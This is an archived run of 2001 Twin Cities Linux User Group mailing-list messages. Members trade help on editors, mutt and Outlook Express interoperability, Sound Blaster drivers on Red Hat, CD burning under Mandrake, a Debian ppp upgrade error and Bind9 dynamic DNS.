dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:25 2005 Subject: [TCLUG] tclug and attachments In-Reply-To: <000301c12613$0658c6c0$6601a8c0@zippy> References: <20010815223049.BA86B7A926@visi.com> <01081519040101.11468@friday.tarsk.com> <20010816020315.C93907A926@visi.com> <01081522425302.11468@friday.tarsk.com> <000301c12613$0658c6c0$6601a8c0@zippy> Message-ID: <20010816010442.D11305@ringworld.org> * Mark Browne [010816 00:28]: > Most of the time this is just fine but I can't see the message when I pick > it up with my palm pilot. Which mail application are you using? -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From list at slushpupie.com Thu Aug 16 00:59:06 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:25 2005 Subject: [TCLUG] Pico In-Reply-To: <20010816010357.C11305@ringworld.org> References: <01081523291904.11468@friday.tarsk.com> <20010816010357.C11305@ringworld.org> Message-ID: <01081600590605.11468@friday.tarsk.com> On Thursday 16 August 2001 1:03 am, you wrote: > * Jay Kline [010815 23:43]: > > Hey now.. lets not start the whole pico,nano,emacs,xemacs,vi holly > > war..... > > You missed joe, jed, vim, nvi, and ed! well, if you want to be picky... ex is the classic :-) (now a part of vi) But REAL men edit all their files with a magnatized pin on the physical disk manipulating the bits by hand. We dont need no stinkin' editors! -- Jay Kline list@slushpupie.com http://www.slushpupie.com Even in the moment of our earliest kiss, When sighed the straitened bud into the flower, Sat the dry seed of most unwelcome this; And that I knew, though not the day and hour. Too season-wise am I, being country-bred, To tilt at autumn or defy the frost: Snuffing the chill even as my fathers did, I say with them, "What's out tonight is lost." I only hoped, with the mild hope of all Who watch the leaf take shape upon the tree, A fairer summer and a later fall Than in these parts a man is apt to see, And sunny clusters ripened for the wine: I tell you this across the blackened vine. -- Edna St. Vincent Millay, "Even in the Moment of Our Earliest Kiss", 1931 From eng at pinenet.com Thu Aug 16 04:59:28 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:26:25 2005 Subject: Re [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard@11.sdm In-Reply-To: <20010815194443.M6932@real-time.com> References: <20010815101918.B19402@localhost> <20010815131035.A21135@localhost> <20010815194443.M6932@real-time.com> Message-ID: <20010816.9592800@linwin.mshome.net> Well then you are doing research. You are redefining the notion of an "office pool." A very interesting effort. Its amazing you've made it work. But StarOffice is not a multiuser operating system, and did not fail its intended use as originally implied. >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 8/15/01, 7:44:43 PM, Bob Tanner wrote regarding Re [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard@11.sdm: > Quoting Tom Hudak (thudak@sistina.com): > > >Oh, and if you work here, 512mb isn't enough. You run out quick. :) > > What the hell are you guys doing that's killing 512M on a workstation?? I can > > open vmware w/ 128 of my 384 dedicated to it, and still play quake w/ minimal > > swap activity. > Star Office, Mozilla (many, many windows), Emacs, xchat, gabber, many, many > xterms (one to each box on Real Time's network), Ximian GNOME (ouch!), X4 > w/xinerama, lots of VNC sessions, usually compiling something, be it new RPMs > for clients, new kernels, new Open Office build, new Enhydra, new Mozilla, etc. > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From eng at pinenet.com Thu Aug 16 06:06:57 2001 From: eng at pinenet.com (Rick Engebretson) Date: Mon Jan 17 13:26:25 2005 Subject: Re [TCLUG] AT&T filtering sites.sdm@3.sdm In-Reply-To: References: Message-ID: <20010816.11065700@linwin.mshome.net> For the first time in history people of the world enjoy freedom of communication. And "the price of freedom is eternal vigilance." It is a great disappointment that this new freedom is heavily abused by porno pushers, joystick junkies, and often invasive and sometimes explicitly criminal behavior. In fact the legal community is already quite active dealing with these issues. The M$ monopoly case was based on (among other things) bundling an internet browser to their dominant OS. The U.S. Congress is quite active in trying to define public rights and protections. The FBI is building a cyber crime division. States Attorneys General maintain staff expert in internet commerce. Maybe this and maybe that, but probably the indicators properly posted to the TCLUG deserve more than a snickering dismissal. >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 8/15/01, 8:22:09 AM, Nate Carlson wrote regarding Re [TCLUG] AT&T filtering sites.sdm@3.sdm: > On Wed, 15 Aug 2001, Rick Engebretson wrote: > > Very clever detective work. ATT owes their customers (and the internet > > community) an explaination. Nobody is supposed to own the internet any > > more than the public road system. You pay your access fee. If ATT (or > > MSN, etc.) tries to become a traffic cop, bring in the lawyers. > I bet the AUP specifically says that they aren't responsible for any > unreachability, etc.. which also means that they can cause the > unreachability if they so desire. > >From the discussions I've read on this topic, something like that'd never > make it in court.. 'course, if you wanna try it, we'd all be glad to see > if someone can actually pull it off. :) > Anyways, if they're getting flooded, it's not exactly their fault.. > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From nate at techie.com Thu Aug 16 07:36:33 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:25 2005 Subject: [TCLUG] sender In-Reply-To: <20010816002036.B25875@real-time.com>; from tanner@real-time.com on Thu, Aug 16, 2001 at 12:20:36AM -0500 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> <20010815194955.C3223@candle.mn.mediaone.net> <20010815212855.A21279@mudpiefoods.com> <20010816002036.B25875@real-time.com> Message-ID: <20010816073633.B32018@candle.mn.mediaone.net> On Thu, Aug 16, 2001 at 12:20:36AM -0500, Bob Tanner wrote: > Quoting SpencerUnderground (spencer@sihope.com): > > > mailboxes =tclug # procmail saves TCLUG mail to it's own mailbox > > > subscribe tclug-list # Tells mutt I'm subscribed to the list > > What does the mailboxes do exactly? > > I looked on mutt.org (quickly) and did not find anything. I know it > makes a folder look like incoming mail, but how do you use it? What > are the advantages? When you change mailboxes and hit you cycle between two views. One is all the files in your mail folder, the other is just the mailboxes you define with the mailboxes command. I define a mailbox for each mbox I have procmail filter mail to. That way mutt will notify me when mail arrives in that mailbox. When I change mailboxes one of the mailboxes that has new mail will be the default or I can hit table and get the complete list. Nate From ray at lctn.k12.mn.us Thu Aug 16 07:44:58 2001 From: ray at lctn.k12.mn.us (Raymond Norton) Date: Mon Jan 17 13:26:25 2005 Subject: [TCLUG] restarting Redhat 7x via telnet Message-ID: <004a01c12651$42616490$0ad2e5cf@means.net> I have tried to restart my Linux server via Telnet, but have be unsuccessful. Can someone give be the specifics for this. Thanks Raymond -------------- next part -------------- An HTML attachment was scrubbed... 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Mark Browne ----- Original Message ----- From: "Scott Dier" To: Sent: Thursday, August 16, 2001 1:04 AM Subject: Re: [TCLUG] tclug and attachments > * Mark Browne [010816 00:28]: > > Most of the time this is just fine but I can't see the message when I pick > > it up with my palm pilot. > > Which mail application are you using? > > -- > Scott Dier > http://www.ringworld.org/ #linuxos@irc.openprojects.net > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From hick0088 at tc.umn.edu Thu Aug 16 08:11:27 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:25 2005 Subject: [TCLUG] Pico In-Reply-To: <01081523291904.11468@friday.tarsk.com> References: <20010815233829.B11305@ringworld.org> <01081523291904.11468@friday.tarsk.com> Message-ID: <20010816081127.224bcba6.hick0088@tc.umn.edu> Jay Kline wrote: > > On Wednesday 15 August 2001 11:38 pm, you wrote: > > * Brian [010815 19:42]: > > > I've since discovered > > > Bob? Likes? orange? flower? what? three? where? george? > > > > Use nano! It wraps it correctly. > > Hey now.. lets not start the whole pico,nano,emacs,xemacs,vi holly > war..... well, the pico/nano holy war is usually based around the licensing issues in Pine, though I suspect the two will eventually diverge into fairly different editors.. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Scintillation is not / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ always identification \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) for an auric substance. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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"Because" is a perfectly valid answer. > > > > Re: #2: Escalade 6200 (2-port) card: $ 120 > > 75GB IDE (x2): $ 412 > > ----- > > 75GB IDE mirror $ 532 > > > > 73GB SCSI (x1): $ 535 > > Of course, the amount of time your CPU spends waiting for the non-threaded > IDE subsystem to work might be worth the money. > > This may be comparing apples to oranges, but I once managed to get my SCSI > CD-RW to rip audio CDs (it doesn't like grip for some reason *sigh*), and > the performanec impact on my system from the ripping was barely > noticeable. Doing the same on my UDMA DVD-ROM drive completely tanks the > system, and suddenly things take several times longer than they did before > (I/O-bound operations are the worst). > > From zibby+tclug at ringworld.org Thu Aug 16 08:29:20 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:25 2005 Subject: [TCLUG] tclug and attachments In-Reply-To: <000301c12613$0658c6c0$6601a8c0@zippy> Message-ID: Outlook Express generally doesn't like messages produced by mutt. They appear as an empty message with a text document attached. Obviously, it's an Outlook Express problem, so nobody on a Linux mailing list really cares. As far as html mail goes, I think most of this list would perfer you to stick to plain text as many of us use mutt and pine to access our e-mail. Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From florin at iucha.net Thu Aug 16 07:57:15 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] Re: Newbie intro and question (or How to get your Fsckin' cd burner to work under Mandrake) In-Reply-To: <01081522385303.01923@morpheus.hellnet>; from dan@williamsongraphics.com on Wed, Aug 15, 2001 at 10:38:53PM -0500 References: <01081522385303.01923@morpheus.hellnet> Message-ID: <20010816075715.B7925@beaver.iucha.org> On Wed, Aug 15, 2001 at 10:38:53PM -0500, dan williamson wrote: > This page should help you to get your burner up and running under 8.0. > Although it says it's for 7.2, I followed it exactly and can burn cd's under > Mandrake no problem, rather simple actually. mandrakeuser.org is a real good > resource for all things Mandrake. > http://www.mandrakeuser.org/docs/hardware/hremov3.html > > Here's a quick question for anyone who burns cd's under Linux: > Can you use other programs while burning or does it hog all the resources > like Windoze? Sometimes, I just have too many things to do than to wait for a > cd to finish burning to get my work done. I am able to browse with Mozilla when burning. I have a K6-III/500 with 256Mb RAM and the burner is a HP 7xxx (2x2x24) and I have never made a coaster. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From foeclan at winternet.com Thu Aug 16 08:31:00 2001 From: foeclan at winternet.com (Michael Vieths) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] Pico References: Message-ID: <3B7BCB14.70100@winternet.com> Hmm, the copy on Slackware 7.1 wraps properly. Looking at pico's man page, it looks like there's a command line option to disable line wrapping. If you're not running it directly, I'd check the configuration of whatever's launching it to see if it's adding that option (-w). If you're doing it from the command line, try typing 'alias' and seeing if there's an alias defined for pico. Pico is also part of the Pine package (on Slackware, at least); you might try looking through .pinerc and such and see if modifying the composer options in there have an effect. -- Michael Vieths Email: Foeclan@Winternet.com Web: http://www.geekbear.net Brian wrote: > I think I found a bug in RH6.2's version of Pico. Has to do with line > wrapping. > > I've since discovered > Bob? Likes? orange? flower? what? three? where? george? > > Dangit... still there. That's a long line, it should just wrap george > onto another line. Is it supposed to do this? I grabbed the latest pine > build (4.33) and I was hoping it would fix it. Looks like it didn't :-( > > -Brian > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > From list at slushpupie.com Thu Aug 16 08:37:24 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] restarting Redhat 7x via telnet In-Reply-To: <004a01c12651$42616490$0ad2e5cf@means.net> Message-ID: Should be simple, awaycomputer $ telnet my_computer Trying 10.0.0.1... Connected to my_computer.domain.com. Escape character is '^]'. login: usrename password: Last login: Wed Aug 15 12:59:00 from awaycomputer.domain.com my_computer $ su Password: my_computer # shutdown now -r It will boot off you when its now the computer goes down Jay -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Raymond Norton Sent: Thursday, August 16, 2001 7:45 AM To: tclug-list@mn-linux.org Subject: [TCLUG] restarting Redhat 7x via telnet I have tried to restart my Linux server via Telnet, but have be unsuccessful. Can someone give be the specifics for this. Thanks Raymond -------------- next part -------------- An HTML attachment was scrubbed... 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Students must be enrolled full- time in a two- or four-year accredited college or university. For this contest, students will select a Linux project from a list of twenty-one proposed projects; or propose one of their own. They will need to describe their objectives, methodology, research and results in a three- page paper; and submit it for evaluation. Winners will receive one of 25 IBM Thinkpads Three qualified winners will be offered Summer 2002 internships at IBM's Linux Technology Center. The university with the highest average score of student entries (with a minimum of 10 entries), with get their choice of a 16-node Linux Cluster, or entry-level zSeries Linux server IBM is strongly committed to the open source and open standards direction and has made significant investments to support our commitment. For more information about this contest, goto: http://isource.ibm.com/cgi-bin/goto? on=c3362linux/challenge -swf -- "Don't pray when it rains if you don't pray when the sun shines." - Satchel Paige From Rodney.Ray at childrenshc.org Thu Aug 16 08:42:12 2001 From: Rodney.Ray at childrenshc.org (Rodney Ray) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] SB128 Message-ID: Yep, it locks up using sndconfig and setup. If I run sndconfig it says that it is a esonic (sp) sound card. I know it works, I had it working on RH6.2 but I don't remember what I did to get it to work...... >>> spencer@sihope.com 8/15/01 4:54:08 PM >>> > Anyone know how to get a SB PCI128 to work under RH7.1? It is loading a ess drive (I think) and very time I try to use the card it locks up my machine. Have you tried to run sndconfig? > that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From andy at theasis.com Thu Aug 16 03:43:50 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] tclug and attachments In-Reply-To: Message-ID: > Outlook Express generally doesn't like messages produced by mutt. They > appear as an empty message with a text document attached. Obviously, it's > an Outlook Express problem, so nobody on a Linux mailing list really > cares. No, it is not "obviously an Outlook Express problem". There must be something different about the formatting of a message sent by mutt in order to evoke this behavior (as compared to those MUAs that don't). It would be useful to know what that is. Andy > > Andrew S. Zbikowski | http://www.ringworld.org From clay at fandre.com Thu Aug 16 08:52:54 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] networking In-Reply-To: References: Message-ID: <20010816085254.C9546@fandre.com> What module does it use? Does it autodetect the IRQ and IO settings, or are you manually specifying them? I've had this same type of problem if I have the IRQ set wrong. It looks like it's working, but I can't ping anything remote. johndmiller [john@mn.mediaone.net] wrote: > Let me start by saying I am not a networking guy. > > One of my nic died about a week ago. I went and replaced it with another > identical (hah) one. It requires different drivers (so it is not the > same). Long story short. I have an d-link de220p (isa) for my internal > net card. It does not want to talk to the other cards. How do I get it > to speak to someone but it's self. > > Destination gateway Genmask flags > 192.168.0.0 * 255.255.255.0 U > 24.163.168.0 * 255.255.255.0 U > 127.0.0.0 * 255.0.0.0 U > default 24.163.168.1 0.0.0.0 ug > > I don't see irq conflicts or io conflicts. I looked in /proc/interrupts > and /proc/ioports. > > Any ideas? > > New question. Is it possible to copy and paste from two termial sessions > in kde? > > Thanks > > John Miller > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From crumley at belka.space.umn.edu Thu Aug 16 09:05:15 2001 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] Re: Newbie intro and question In-Reply-To: <01081522425302.11468@friday.tarsk.com>; from list@slushpupie.com on Wed, Aug 15, 2001 at 10:42:53PM -0500 References: <20010815223049.BA86B7A926@visi.com> <01081519040101.11468@friday.tarsk.com> <20010816020315.C93907A926@visi.com> <01081522425302.11468@friday.tarsk.com> Message-ID: <20010816090515.A555@gordo.space.umn.edu> On Wed, Aug 15, 2001 at 10:42:53PM -0500, Jay Kline wrote: > On Wednesday 15 August 2001 9:03 pm, you wrote: > > > it may be a SCSI emulation problem. From a console or terminal of your > > > choice, type: > > > > > > ls -l /dev/cdrom2 > > > > > > And report back what you see. > > > > /dev/cdrom2 -> scd0 > > > > just for kicks, I did the same thing for the dvd drive and was rewarded > > with: > > /dev/cdrom -> hdc > > > > Ok, this means more than likely you have SCSI emulation set up, only for your > cd burner, and your DVD drive is plain IDE. > Also check to see that the proper scsi modules are loading (I'm assuming that Mandrake has SCSI emulation as a module - never have used Mandrake myself). Before and after trying to mount the burner type: lsmod If things are setup correctly, then the ide-scsi module (and its dependancies) should load when you try to mount the burner. If not then manual load the module (and it dependancies if necessary). modprobe ide-scsi -- Jim Crumley | Free Dmitry Sklyarov! crumley@fields.space.umn.edu | http://freesklyarov.org/ Work: 612 624-6804 or -0378 | From lxy at cloudnet.com Thu Aug 16 09:10:47 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] Pico In-Reply-To: <3B7BCB14.70100@winternet.com> Message-ID: On Thu, 16 Aug 2001, Michael Vieths wrote: > Hmm, the copy on Slackware 7.1 wraps properly. Looking at pico's man > page, it looks like there's a command line option to disable line > wrapping. If you're not running it directly, I'd check the > configuration of whatever's launching it to see if it's adding that > option (-w). If you're doing it from the command line, try typing > 'alias' and seeing if there's an alias defined for pico. Yes, but then I end up with e-mail that's not wrapped. I don't think anyone appreciates a 1K messgae that's 1 line. In fact, I think there's a punishment for the people who do that in this list IIRC. > Pico is also part of the Pine package (on Slackware, at least); you > might try looking through .pinerc and such and see if modifying the > composer options in there have an effect. Yup, I compiled the source from the pine tarball. I think I'll try nano or joe. I could use vi but I'm not proficient enough in vi to e-mail efficiently. Same with emacs. The magnetized pin method is not an option because the server is physically located 40 miles away. That'd be an awfully long pin. -Brian From lxy at cloudnet.com Thu Aug 16 09:15:07 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] SB128 In-Reply-To: Message-ID: On Thu, 16 Aug 2001, Rodney Ray wrote: > Yep, it locks up using sndconfig and setup. If I run sndconfig it says that it is a esonic (sp) sound card. I know it works, I had it working on RH6.2 but I don't remember what I did to get it to work...... I have this identical card and I'm planning on some day getting RH7.1 on my machine. is it possible that the module in the 2.4.whatever71shipswith kernel is broken? It works for me under 7.0 but that's a 2.2 kernel. I haven't tried it under 2.4 yet. -Brian From Rodney.Ray at childrenshc.org Thu Aug 16 09:22:20 2001 From: Rodney.Ray at childrenshc.org (Rodney Ray) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] SB128 Message-ID: This is what RH website says Driver Location: Red Hat Linux installation CD Notes: Sound Module: es1371 This is the AudioPCI card manufactured by Creative under the Ensoniq name, utilizing the ES1371 chip. There have been some reported issues with cards of revision level 7 where the card simply would not work with this driver. Status: Compatible >>> lxy@cloudnet.com 8/16/01 9:15:07 AM >>> On Thu, 16 Aug 2001, Rodney Ray wrote: > Yep, it locks up using sndconfig and setup. If I run sndconfig it says that it is a esonic (sp) sound card. I know it works, I had it working on RH6.2 but I don't remember what I did to get it to work...... I have this identical card and I'm planning on some day getting RH7.1 on my machine. is it possible that the module in the 2.4.whatever71shipswith kernel is broken? It works for me under 7.0 but that's a 2.2 kernel. I haven't tried it under 2.4 yet. -Brian _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From esper at sherohman.org Thu Aug 16 09:23:45 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] Pico In-Reply-To: <01081523291904.11468@friday.tarsk.com>; from list@slushpupie.com on Wed, Aug 15, 2001 at 11:29:19PM -0500 References: <20010815233829.B11305@ringworld.org> <01081523291904.11468@friday.tarsk.com> Message-ID: <20010816092345.A13430@sherohman.org> On Wed, Aug 15, 2001 at 11:29:19PM -0500, Jay Kline wrote: > Hey now.. lets not start the whole pico,nano,emacs,xemacs,vi holly war..... Yeah - that'll have to wait until christmas. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From esper at sherohman.org Thu Aug 16 09:27:43 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] sender In-Reply-To: <20010816002036.B25875@real-time.com>; from tanner@real-time.com on Thu, Aug 16, 2001 at 12:20:36AM -0500 References: <017a01c125be$23fea730$3028680a@tgt.com> <20010815165042.A20631@mudpiefoods.com> <20010815165930.C20631@mudpiefoods.com> <20010815194955.C3223@candle.mn.mediaone.net> <20010815212855.A21279@mudpiefoods.com> <20010816002036.B25875@real-time.com> Message-ID: <20010816092743.B13430@sherohman.org> On Thu, Aug 16, 2001 at 12:20:36AM -0500, Bob Tanner wrote: > What does the mailboxes do exactly? > > I looked on mutt.org (quickly) and did not find anything. I know it makes a > folder look like incoming mail, but how do you use it? What are the advantages? - mutt will notify you of new mail in any defined mailbox (New mail in =tclug.). If it notices new mail in multiple boxes simultaneously, only the first one listed will be reported. - When you hit 'c' to change folders, the destination will default to the first defined mailbox with new messages. - If you press when changing folders, one of the lists of folders displayed is a list of mailboxes. Any boxes with new messages are marked on this list. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From dutchman at uswest.net Thu Aug 16 09:34:30 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] SB128 References: Message-ID: <3B7BD9F6.58A7240@uswest.net> Rodney Ray wrote: > > This is what RH website says > > Driver Location: > Red Hat Linux installation CD > Notes: > Sound Module: es1371 > This is the AudioPCI card manufactured by Creative under the Ensoniq name, utilizing the ES1371 chip. There have been some reported issues with cards of revision level 7 where the card simply would not work with this driver. > Status: Compatible I have the same card working on my machine. I am running RH7.1 with kernal 2.4.3. Don't know what to tell ya. Perry Hoekstra From esper at sherohman.org Thu Aug 16 09:34:25 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] tclug and attachments In-Reply-To: ; from andy@theasis.com on Thu, Aug 16, 2001 at 03:43:50AM -0500 References: Message-ID: <20010816093425.C13430@sherohman.org> On Thu, Aug 16, 2001 at 03:43:50AM -0500, andy@theasis.com wrote: > No, it is not "obviously an Outlook Express problem". There must be > something different about the formatting of a message sent by mutt in > order to evoke this behavior (as compared to those MUAs that don't). It > would be useful to know what that is. Based on other threads I've read, this is caused by PGP signatures. mutt does them in the currently RFC-approved fashion, everything else uses an older method for attaching the signatures. Unfortunately, many mail readers (Outlook among them) don't understand the new format yet. Cue "do it the normal way so it works" vs. "do it the proper way so people with software which only understands the old way will lean on their vendors to make it work properly" holy war... (Just don't forget to specify whether you're talking about PGP in mutt or List-Foo headers in Mailman.) -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From esper at sherohman.org Thu Aug 16 09:42:26 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] Re: Newbie intro and question (or How to get your Fsckin' cd burner to work under Mandrake) In-Reply-To: <20010816075715.B7925@beaver.iucha.org>; from florin@iucha.net on Thu, Aug 16, 2001 at 07:57:15AM -0500 References: <01081522385303.01923@morpheus.hellnet> <20010816075715.B7925@beaver.iucha.org> Message-ID: <20010816094226.D13430@sherohman.org> On Thu, Aug 16, 2001 at 07:57:15AM -0500, Florin Iucha wrote: > I am able to browse with Mozilla when burning. > > I have a K6-III/500 with 256Mb RAM and the burner is a HP 7xxx (2x2x24) and I have > never made a coaster. I can beat that... I had (up until the mobo died a couple months ago) a Cyrix 6x86/120 with an 8x8 SCSI CD-R hooked up an an Adaptec AHA-1520 (ISA) controller and 96 M RAM. That little box could serve out DNS, apache (including mod_perl-generated content), NFS, and SMTP while burning, all without a hitch. Only ever made one coaster with it, and I think that was a bad disk (it opened the session, but never started writing). SCSI is a wonderful thing. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From Phillip.J.Crump at WellsFargo.COM Thu Aug 16 09:46:02 2001 From: Phillip.J.Crump at WellsFargo.COM (Phillip.J.Crump@WellsFargo.COM) Date: Mon Jan 17 13:26:26 2005 Subject: [TCLUG] PPP Connection Usage Problem Message-ID: <43353280FCFFD211971E00005801192E06323A38@msgmsp15.norwest.com> I'm running Mandrake 8.0 and I'm having a problem using the PPP connection that has been established via external Modem. .. Here is the skinny I used kpp to configure dialup access, and the modem dials and connects to my ISP just fine. When I issue an >ifconfig I have 3 entries, entry l0 for the localhost, entry eth0 for my local network and a ppp0 entry (with the dynamic ip address and everything). I directed a ping to the ppp entry (ping -I ppp0 www.google.com) and I get nothing.. I try to connect to the net via netscape and get nothing. To ensure that my ISP was still alive and kicking I moved the modem back to my win box and everything still worked fine. Can anyone lend any type of assistance? - PJ From peter.clark at tides.com Thu Aug 16 10:53:28 2001 From: peter.clark at tides.com (peter.clark@tides.com) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] apt-get acting up Message-ID: <200108161455.f7GEtCe16392@sprite.real-time.com> So yeasterday I apt-get update && apt-get dist-upgrade and waited a couple of hours. (Blasted 56k!) Everything went fine, except for ppp. I get the following messages (this is after apt-get -f install): --- Preconfiguring packages ... (Reading database ... 65884 files and directories currently installed.) Preparing to replace ppp 2.4.1-1 (using .../archives/ppp_2.4.1-4_i386.deb) ... Unpacking replacement ppp ... /etc/modutils/0keep: keep: command not found dpkg: warning - old post-removal script returned error exit status 127 dpkg - trying script from the new package instead ... /etc/modutils/0keep: keep: command not found dpkg: error processing /var/cache/apt/archives/ppp_2.4.1-4_i386.deb (--unpack): subprocess new post-removal script returned error exit status 127 /etc/modutils/0keep: keep: command not found dpkg: error while cleaning up: subprocess post-removal script returned error exit status 127 Errors were encountered while processing: /var/cache/apt/archives/ppp_2.4.1-4_i386.deb E: Sub-process /usr/bin/dpkg returned an error code (1) --- I think that the problem is that 'keep' is not found, whatever that is. I have verified that /etc/modutils/0keep exists, however, typing 'keep' at the prompt results in a command not found. What gives? :Peter From natecars at real-time.com Thu Aug 16 10:01:48 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] Dynamic DNS Message-ID: Anyone know how to configure Bind9 to allow dynamic dns updates, and then configure Linux to update the server? Basically, I want to be able to do DDNS under my own domain for my new cablemodem, until I can get Qwest DSL.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Thu Aug 16 10:03:38 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard In-Reply-To: <20010815165938.C27860@localhost> Message-ID: On Wed, 15 Aug 2001, Tom Hudak wrote: > Dude... I work for a software development company with a bunch of linux > software developers, none of whom have 512 Meg of ram, and they all do their > jobs, while surfing the net, with multiple vmware sessions open, and playing > quake. Don't _need_ 512mb+, but it sure helps performance. :) The main thing is VMWare sessions.. a Win2k session + a couple Linux sessions can suck up memory pretty quick. > No problems, trust me, I admin their machines. If your doing that much code > development, go get some devel machines. I'm sure Bob has no prob coughing up > some cash for a couple boxes to do nothing but sit there and compile/run/test > code. :-) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From thomas at stderr.net Thu Aug 16 10:09:07 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] Dynamic DNS In-Reply-To: ; from natecars@real-time.com on Thu, Aug 16, 2001 at 10:01:48AM -0500 References: Message-ID: <20010816170906.A71940@io.stderr.net> On Thu, Aug 16, 2001 at 10:01:48AM -0500, Nate Carlson wrote: > Anyone know how to configure Bind9 to allow dynamic dns updates, and then > configure Linux to update the server? > > Basically, I want to be able to do DDNS under my own domain for my new > cablemodem, until I can get Qwest DSL.. It's not anything like in 8? allow-update { ip1; ip2; }; ? If that works I can fix you a perl script to do the update if you want. -- Thomas Eibner DnsZone mod_pointer From natecars at real-time.com Thu Aug 16 10:12:03 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:27 2005 Subject: [TCLUG] Dynamic DNS In-Reply-To: <20010816170906.A71940@io.stderr.net> Message-ID: On Thu, 16 Aug 2001, Thomas Eibner wrote: > It's not anything like in 8? allow-update { ip1; ip2; }; ? > > If that works I can fix you a perl script to do the update if you want. I'm sure that's how it's done, but I also have to figure out how to authenticate it, since my IP will be dynamic within a certain range.. -- Nate Carlson | Phone : (952)943-8700 